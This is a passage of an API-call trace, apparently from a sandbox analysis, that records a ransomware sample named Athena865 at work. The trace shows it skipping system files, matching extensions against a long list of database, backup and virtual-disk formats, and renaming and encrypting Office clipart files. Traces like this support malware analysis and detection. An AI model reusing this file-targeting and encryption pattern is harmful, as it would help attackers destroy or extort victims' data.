[0128.314] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0128.314] lstrlenW (lpString="mpd") returned 3 [0128.314] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0128.314] lstrlenW (lpString="mrg") returned 3 [0128.314] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0128.314] lstrlenW (lpString="mud") returned 3 [0128.314] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0128.314] lstrlenW (lpString="mwb") returned 3 [0128.314] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0128.314] lstrlenW (lpString="myd") returned 3 [0128.314] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0128.314] lstrlenW (lpString="ndf") returned 3 [0128.314] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0128.314] lstrlenW (lpString="nnt") returned 3 [0128.314] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0128.314] lstrlenW (lpString="nrmlib") returned 6 [0128.314] lstrcmpiW (lpString1="74.WMF", lpString2="nrmlib") returned -1 [0128.314] lstrlenW (lpString="ns2") returned 3 [0128.314] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0128.314] lstrlenW (lpString="ns3") returned 3 [0128.314] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0128.314] lstrlenW (lpString="ns4") returned 3 [0128.314] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0128.315] lstrlenW (lpString="nsf") returned 3 [0128.315] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0128.315] lstrlenW (lpString="nv") returned 2 [0128.315] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0128.315] lstrlenW (lpString="nv2") returned 3 [0128.315] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0128.315] lstrlenW (lpString="nwdb") returned 4 [0128.315] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0128.315] lstrlenW (lpString="nyf") returned 3 [0128.315] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0128.315] lstrlenW (lpString="odb") returned 3 [0128.315] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.315] lstrlenW (lpString="odb") returned 3 [0128.315] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0128.315] lstrlenW (lpString="oqy") returned 3 [0128.315] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0128.315] lstrlenW (lpString="ora") returned 3 [0128.315] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0128.315] lstrlenW (lpString="orx") returned 3 [0128.315] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0128.315] lstrlenW (lpString="owc") returned 3 [0128.315] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0128.315] lstrlenW (lpString="p96") returned 3 [0128.315] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0128.315] lstrlenW (lpString="p97") returned 3 [0128.315] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0128.315] lstrlenW (lpString="pan") returned 3 [0128.316] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0128.316] lstrlenW (lpString="pdb") returned 3 [0128.316] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0128.316] lstrlenW (lpString="pdm") returned 3 [0128.316] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0128.316] lstrlenW (lpString="pnz") returned 3 [0128.316] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0128.316] lstrlenW (lpString="qry") returned 3 [0128.316] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0128.316] lstrlenW (lpString="qvd") returned 3 [0128.316] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0128.316] lstrlenW (lpString="rbf") returned 3 [0128.316] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0128.316] lstrlenW (lpString="rctd") returned 4 [0128.316] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0128.316] lstrlenW (lpString="rod") returned 3 [0128.316] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0128.316] lstrlenW (lpString="rodx") returned 4 [0128.316] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0128.316] lstrlenW (lpString="rpd") returned 3 [0128.316] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0128.316] lstrlenW (lpString="rsd") returned 3 [0128.316] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0128.316] lstrlenW (lpString="sas7bdat") returned 8 [0128.316] lstrcmpiW (lpString1="6874.WMF", lpString2="sas7bdat") returned -1 [0128.316] lstrlenW (lpString="sbf") returned 3 [0128.316] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0128.317] lstrlenW (lpString="scx") returned 3 [0128.317] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0128.317] lstrlenW (lpString="sdb") returned 3 [0128.317] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0128.317] lstrlenW (lpString="sdc") returned 3 [0128.317] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0128.317] lstrlenW (lpString="sdf") returned 3 [0128.317] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0128.317] lstrlenW (lpString="sis") returned 3 [0128.317] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0128.317] lstrlenW (lpString="spq") returned 3 [0128.317] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0128.317] lstrlenW (lpString="te") returned 2 [0128.317] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0128.317] lstrlenW (lpString="teacher") returned 7 [0128.317] lstrcmpiW (lpString1="874.WMF", lpString2="teacher") returned -1 [0128.317] lstrlenW (lpString="tmd") returned 3 [0128.317] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0128.317] lstrlenW (lpString="tps") returned 3 [0128.317] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0128.317] lstrlenW (lpString="trc") returned 3 [0128.317] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.317] lstrlenW (lpString="trc") returned 3 [0128.317] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0128.317] lstrlenW (lpString="trm") returned 3 [0128.317] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0128.317] lstrlenW (lpString="udb") returned 3 [0128.318] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0128.318] lstrlenW (lpString="udl") returned 3 [0128.318] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0128.318] lstrlenW (lpString="usr") returned 3 [0128.318] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0128.318] lstrlenW (lpString="v12") returned 3 [0128.318] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0128.318] lstrlenW (lpString="vis") returned 3 [0128.318] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0128.318] lstrlenW (lpString="vpd") returned 3 [0128.318] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0128.318] lstrlenW (lpString="vvv") returned 3 [0128.318] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0128.318] lstrlenW (lpString="wdb") returned 3 [0128.318] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0128.318] lstrlenW (lpString="wmdb") returned 4 [0128.318] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0128.318] lstrlenW (lpString="wrk") returned 3 [0128.318] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0128.318] lstrlenW (lpString="xdb") returned 3 [0128.318] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0128.318] lstrlenW (lpString="xld") returned 3 [0128.318] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0128.318] lstrlenW (lpString="xmlff") returned 5 [0128.318] lstrcmpiW (lpString1="4.WMF", lpString2="xmlff") returned -1 [0128.318] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.Athena865") returned 73 [0128.319] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.athena865"), dwFlags=0x1) returned 1 [0128.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.321] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=39738) returned 1 [0128.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.321] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.322] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.322] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.322] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9e40, lpName=0x0) returned 0x154 [0128.324] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9e40) returned 0x100000 [0128.342] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.344] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.344] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.346] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.349] CloseHandle (hObject=0x154) returned 1 [0128.349] CloseHandle (hObject=0x17c) returned 1 [0128.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.350] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0217262.WMF", cAlternateFileName="")) returned 1 [0128.351] lstrcmpiW (lpString1="J0217262.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.351] lstrcmpiW (lpString1="J0217262.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.351] lstrcmpiW (lpString1="J0217262.WMF", lpString2=".") returned 1 [0128.351] lstrcmpiW (lpString1="J0217262.WMF", lpString2="..") returned 1 [0128.351] lstrcmpiW (lpString1="J0217262.WMF", lpString2="windows") returned -1 [0128.351] lstrcmpiW (lpString1="J0217262.WMF", lpString2="bootmgr") returned 1 [0128.351] lstrcmpiW (lpString1="J0217262.WMF", lpString2="temp") returned -1 [0128.351] lstrcmpiW (lpString1="J0217262.WMF", lpString2="pagefile.sys") returned -1 [0128.351] lstrcmpiW (lpString1="J0217262.WMF", lpString2="boot") returned 1 [0128.352] lstrcmpiW (lpString1="J0217262.WMF", lpString2="ids.txt") returned 1 [0128.352] lstrcmpiW (lpString1="J0217262.WMF", lpString2="ntuser.dat") returned -1 [0128.353] lstrcmpiW (lpString1="J0217262.WMF", lpString2="perflogs") returned -1 [0128.353] lstrcmpiW (lpString1="J0217262.WMF", lpString2="MSBuild") returned -1 [0128.353] lstrlenW (lpString="J0217262.WMF") returned 12 [0128.353] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0217262.WMF" | out: lpString1="J0217262.WMF") returned="J0217262.WMF" [0128.353] lstrlenW (lpString="J0217262.WMF") returned 12 [0128.353] lstrlenW (lpString="Athena865") returned 9 [0128.353] lstrcmpiW (lpString1="17262.WMF", lpString2="Athena865") returned -1 [0128.353] lstrlenW (lpString=".dll") returned 4 [0128.353] lstrcmpiW (lpString1="J0217262.WMF", lpString2=".dll") returned 1 [0128.353] lstrlenW (lpString=".lnk") returned 4 [0128.353] lstrcmpiW (lpString1="J0217262.WMF", lpString2=".lnk") returned 1 [0128.353] lstrlenW (lpString=".ini") returned 4 [0128.353] lstrcmpiW (lpString1="J0217262.WMF", lpString2=".ini") returned 1 [0128.353] lstrlenW (lpString=".sys") returned 4 [0128.353] lstrcmpiW (lpString1="J0217262.WMF", lpString2=".sys") returned 1 [0128.353] lstrlenW (lpString="J0217262.WMF") returned 12 [0128.355] lstrlenW (lpString="bak") returned 3 [0128.355] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0128.355] lstrlenW (lpString="ba_") returned 3 [0128.355] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0128.355] lstrlenW (lpString="dbb") returned 3 [0128.355] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0128.355] lstrlenW (lpString="vmdk") returned 4 [0128.355] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0128.355] lstrlenW (lpString="rar") returned 3 [0128.355] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0128.355] lstrlenW (lpString="zip") returned 3 [0128.355] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0128.355] lstrlenW (lpString="tgz") returned 3 [0128.355] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0128.356] lstrlenW (lpString="vbox") returned 4 [0128.356] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0128.357] lstrlenW (lpString="vdi") returned 3 [0128.357] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0128.357] lstrlenW (lpString="vhd") returned 3 [0128.357] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0128.357] lstrlenW (lpString="vhdx") returned 4 [0128.357] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0128.357] lstrlenW (lpString="avhd") returned 4 [0128.357] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0128.357] lstrlenW (lpString="db") returned 2 [0128.357] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0128.357] lstrlenW (lpString="db2") returned 3 [0128.357] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0128.357] lstrlenW (lpString="db3") returned 3 [0128.357] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0128.357] lstrlenW (lpString="dbf") returned 3 [0128.357] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0128.357] lstrlenW (lpString="mdf") returned 3 [0128.357] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0128.357] lstrlenW (lpString="mdb") returned 3 [0128.357] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0128.357] lstrlenW (lpString="sql") returned 3 [0128.357] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0128.357] lstrlenW (lpString="sqlite") returned 6 [0128.357] lstrcmpiW (lpString1="62.WMF", lpString2="sqlite") returned -1 [0128.357] lstrlenW (lpString="sqlite3") returned 7 [0128.357] lstrcmpiW (lpString1="262.WMF", lpString2="sqlite3") returned -1 [0128.358] lstrlenW (lpString="sqlitedb") returned 8 [0128.358] lstrcmpiW (lpString1="7262.WMF", lpString2="sqlitedb") returned -1 [0128.358] lstrlenW (lpString="xml") returned 3 [0128.358] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0128.358] lstrlenW (lpString="$er") returned 3 [0128.358] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0128.358] lstrlenW (lpString="4dd") returned 3 [0128.358] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0128.358] lstrlenW (lpString="4dl") returned 3 [0128.358] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0128.358] lstrlenW (lpString="^^^") returned 3 [0128.358] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0128.358] lstrlenW (lpString="abs") returned 3 [0128.358] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0128.358] lstrlenW (lpString="abx") returned 3 [0128.358] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0128.358] lstrlenW (lpString="accdb") returned 5 [0128.358] lstrcmpiW (lpString1="2.WMF", lpString2="accdb") returned -1 [0128.358] lstrlenW (lpString="accdc") returned 5 [0128.358] lstrcmpiW (lpString1="2.WMF", lpString2="accdc") returned -1 [0128.358] lstrlenW (lpString="accde") returned 5 [0128.358] lstrcmpiW (lpString1="2.WMF", lpString2="accde") returned -1 [0128.358] lstrlenW (lpString="accdr") returned 5 [0128.358] lstrcmpiW (lpString1="2.WMF", lpString2="accdr") returned -1 [0128.358] lstrlenW (lpString="accdt") returned 5 [0128.358] lstrcmpiW (lpString1="2.WMF", lpString2="accdt") returned -1 [0128.358] lstrlenW (lpString="accdw") returned 5 [0128.359] lstrcmpiW (lpString1="2.WMF", lpString2="accdw") returned -1 [0128.359] lstrlenW (lpString="accft") returned 5 [0128.359] lstrcmpiW (lpString1="2.WMF", lpString2="accft") returned -1 [0128.359] lstrlenW (lpString="adb") returned 3 [0128.359] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.359] lstrlenW (lpString="adb") returned 3 [0128.359] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0128.359] lstrlenW (lpString="ade") returned 3 [0128.359] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0128.359] lstrlenW (lpString="adf") returned 3 [0128.359] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0128.359] lstrlenW (lpString="adn") returned 3 [0128.359] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0128.359] lstrlenW (lpString="adp") returned 3 [0128.359] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0128.359] lstrlenW (lpString="alf") returned 3 [0128.359] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0128.359] lstrlenW (lpString="ask") returned 3 [0128.359] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0128.359] lstrlenW (lpString="btr") returned 3 [0128.360] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0128.360] lstrlenW (lpString="cat") returned 3 [0128.360] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0128.360] lstrlenW (lpString="cdb") returned 3 [0128.360] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0128.360] lstrlenW (lpString="ckp") returned 3 [0128.360] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0128.360] lstrlenW (lpString="cma") returned 3 [0128.360] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0128.360] lstrlenW (lpString="cpd") returned 3 [0128.360] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0128.360] lstrlenW (lpString="dacpac") returned 6 [0128.360] lstrcmpiW (lpString1="62.WMF", lpString2="dacpac") returned -1 [0128.360] lstrlenW (lpString="dad") returned 3 [0128.360] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0128.360] lstrlenW (lpString="dadiagrams") returned 10 [0128.360] lstrcmpiW (lpString1="217262.WMF", lpString2="dadiagrams") returned -1 [0128.360] lstrlenW (lpString="daschema") returned 8 [0128.360] lstrcmpiW (lpString1="7262.WMF", lpString2="daschema") returned -1 [0128.360] lstrlenW (lpString="db-journal") returned 10 [0128.360] lstrcmpiW (lpString1="217262.WMF", lpString2="db-journal") returned -1 [0128.360] lstrlenW (lpString="db-shm") returned 6 [0128.360] lstrcmpiW (lpString1="62.WMF", lpString2="db-shm") returned -1 [0128.360] lstrlenW (lpString="db-wal") returned 6 [0128.360] lstrcmpiW (lpString1="62.WMF", lpString2="db-wal") returned -1 [0128.360] lstrlenW (lpString="dbc") returned 3 [0128.361] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0128.361] lstrlenW (lpString="dbs") returned 3 [0128.361] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0128.361] lstrlenW (lpString="dbt") returned 3 [0128.361] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0128.361] lstrlenW (lpString="dbv") returned 3 [0128.361] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0128.361] lstrlenW (lpString="dbx") returned 3 [0128.361] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0128.361] lstrlenW (lpString="dcb") returned 3 [0128.361] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0128.361] lstrlenW (lpString="dct") returned 3 [0128.361] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0128.361] lstrlenW (lpString="dcx") returned 3 [0128.361] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0128.361] lstrlenW (lpString="ddl") returned 3 [0128.361] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0128.361] lstrlenW (lpString="dlis") returned 4 [0128.361] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0128.361] lstrlenW (lpString="dp1") returned 3 [0128.361] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0128.361] lstrlenW (lpString="dqy") returned 3 [0128.361] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0128.361] lstrlenW (lpString="dsk") returned 3 [0128.361] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0128.361] lstrlenW (lpString="dsn") returned 3 [0128.362] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0128.362] lstrlenW (lpString="dtsx") returned 4 [0128.362] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0128.362] lstrlenW (lpString="dxl") returned 3 [0128.362] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0128.362] lstrlenW (lpString="eco") returned 3 [0128.362] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0128.362] lstrlenW (lpString="ecx") returned 3 [0128.362] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0128.362] lstrlenW (lpString="edb") returned 3 [0128.362] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0128.362] lstrlenW (lpString="epim") returned 4 [0128.362] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0128.362] lstrlenW (lpString="fcd") returned 3 [0128.362] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0128.362] lstrlenW (lpString="fdb") returned 3 [0128.362] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0128.362] lstrlenW (lpString="fic") returned 3 [0128.362] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0128.362] lstrlenW (lpString="flexolibrary") returned 12 [0128.362] lstrlenW (lpString="fm5") returned 3 [0128.362] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0128.362] lstrlenW (lpString="fmp") returned 3 [0128.362] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0128.362] lstrlenW (lpString="fmp12") returned 5 [0128.362] lstrcmpiW (lpString1="2.WMF", lpString2="fmp12") returned -1 [0128.363] lstrlenW (lpString="fmpsl") returned 5 [0128.363] lstrcmpiW (lpString1="2.WMF", lpString2="fmpsl") returned -1 [0128.363] lstrlenW (lpString="fol") returned 3 [0128.363] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0128.363] lstrlenW (lpString="fp3") returned 3 [0128.363] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0128.363] lstrlenW (lpString="fp4") returned 3 [0128.363] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0128.363] lstrlenW (lpString="fp5") returned 3 [0128.363] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0128.363] lstrlenW (lpString="fp7") returned 3 [0128.363] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0128.363] lstrlenW (lpString="fpt") returned 3 [0128.363] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0128.363] lstrlenW (lpString="frm") returned 3 [0128.363] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0128.363] lstrlenW (lpString="gdb") returned 3 [0128.363] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.363] lstrlenW (lpString="gdb") returned 3 [0128.363] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0128.363] lstrlenW (lpString="grdb") returned 4 [0128.363] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0128.363] lstrlenW (lpString="gwi") returned 3 [0128.363] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0128.363] lstrlenW (lpString="hdb") returned 3 [0128.363] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0128.364] lstrlenW (lpString="his") returned 3 [0128.364] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0128.364] lstrlenW (lpString="ib") returned 2 [0128.364] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0128.364] lstrlenW (lpString="idb") returned 3 [0128.364] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0128.364] lstrlenW (lpString="ihx") returned 3 [0128.364] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0128.364] lstrlenW (lpString="itdb") returned 4 [0128.364] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0128.364] lstrlenW (lpString="itw") returned 3 [0128.364] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0128.364] lstrlenW (lpString="jet") returned 3 [0128.364] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0128.364] lstrlenW (lpString="jtx") returned 3 [0128.364] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0128.364] lstrlenW (lpString="kdb") returned 3 [0128.364] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0128.364] lstrlenW (lpString="kexi") returned 4 [0128.364] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0128.364] lstrlenW (lpString="kexic") returned 5 [0128.364] lstrcmpiW (lpString1="2.WMF", lpString2="kexic") returned -1 [0128.364] lstrlenW (lpString="kexis") returned 5 [0128.364] lstrcmpiW (lpString1="2.WMF", lpString2="kexis") returned -1 [0128.364] lstrlenW (lpString="lgc") returned 3 [0128.364] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0128.365] lstrlenW (lpString="lwx") returned 3 [0128.365] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0128.365] lstrlenW (lpString="maf") returned 3 [0128.365] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0128.365] lstrlenW (lpString="maq") returned 3 